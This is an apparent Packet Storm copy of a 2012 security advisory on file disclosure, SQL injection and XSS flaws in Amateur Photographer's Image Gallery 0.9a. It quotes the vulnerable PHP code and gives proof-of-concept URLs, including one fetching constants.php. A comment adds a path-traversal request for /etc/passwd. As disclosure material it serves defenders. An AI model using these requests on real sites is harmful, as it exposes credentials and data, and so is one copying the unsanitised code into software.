exploit the possibilities

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection
Posted Oct 18, 2012
Authored by cr4wl3r

Amateur Photographer's Image Gallery version 0.9a suffers from cross site scripting, remote file disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, info disclosure
MD5 | 1751a200b7202b2aeb5f7df282ecca0a

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection

Change Mirror Download
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³ Undergroundthalo Hacking Team - Security Advisory ³ ³
³ ÚÁ----------------------------------------À³Ù-----------------------------------Á¿ ³
³Ú´ Author : cr4wl3r ³ Release Date : 18-Okt-2012 ÿ³
³³³ Product : Amateur Photographer's Image ³ Size : 302.3 kB ³³³
³³³ Link : http://sourceforge.net/projects/ap-imagegallery ³³³
³ÃÁ------------------------------------------³-------------------------------------Á´³
³³ gallery-0.9a.zip ³ ³³
³ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³
³ Details ³
³ ³
³ Amateur Photographer's Image Gallery 0.9a ³
³ ³
³ A image gallery for photographers who don't care if their photos are publicly ³
³ available on the web. Offers many advanced features such as image preloading ³
³ which enables you to switch photos without waiting for the next photo to load. ³
³ In this vulnerability, attacker can download any file from server. ³
³ for example, downloading a configuration file contains information username ³
³ database, another case attacker can inject database with SQL Injection ³
³ or XSS only from URL ³
³------------------------------------------------------------------------------------³
RFD Code in force-download.php

<?php
$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if( $filename == "" )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
exit;
} elseif ( ! file_exists( $filename ) )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename"); <------- BOOOOOOM
exit();
?>

SQLi Code plist.php

<?php
include 'database.php';
$index = 1;
$albumid = $_GET['albumid'];

$folder = select_row("SELECT folder FROM albums where id = $albumid");
$folder = $folder['folder'];

$retid = select("SELECT * FROM photos where albumid = $albumid ORDER BY date, large");
while ($row = mysql_fetch_array($retid))
{
if ($index == 1) { echo "<tr>\n"; } // begin row
$small = $row["small"];
$id = $row["id"];
echo "<td width='200px' height='200px' align='center' valign='middle'><a href='photo.php?id=$id&albumid=$albumid'><img src='albums/$folder/$small' border='0' /></a></td>"; // display cell
if ($index == 3) { echo "\n</tr>"; $index = 1; } // end row
else { $index = $index + 1; } // increment count
}
?>

SQLi Code fullscreen.php

<?php
require 'database.php';

// initialize variables
$current_photo_id = $_GET['id'];
$album_id = $_GET['albumid'];
$js_psuedo_index = 0;
$number_of_photos = -1;
echo "var img = [];\n";

// find the folder where the photos are located and the album name
$row = select_row("SELECT * FROM albums where id = $album_id");

$folder = $row['folder'];
$album_name = $row['name'];


³------------------------------------------------------------------------------------³
³ Proof of Concept : ³
³ ³
³ http://b0x/path_gallery/force-download.php?file=[RFD] ³
³ http://b0x/path_gallery/force-download.php?file=constants.php ³
³ http://b0x/path_gallery/plist.php?albumid=[SQLi] ³
³ http://b0x/path_gallery/plist.php?albumid=[XSS] ³
³ http://b0x/path_gallery/fullscreen.php?albumid=[SQLi] ³
³ ³
³ ³
³ ³
³ Undergroundthalo Hacking Team ³
³ Site: http://0xuht.org ³
³ Twitter: @hackb0x ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³ Happy Birhtday Saskia Adam :) ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Comments (1)

RSS Feed Subscribe to this comment feed
d3m0n35

You missed the LFI?!

http://localhost/force-download.php?file=/../../../../../../../etc/passwd

Comment by d3m0n35
2012-10-18 09:43:44 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    16 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close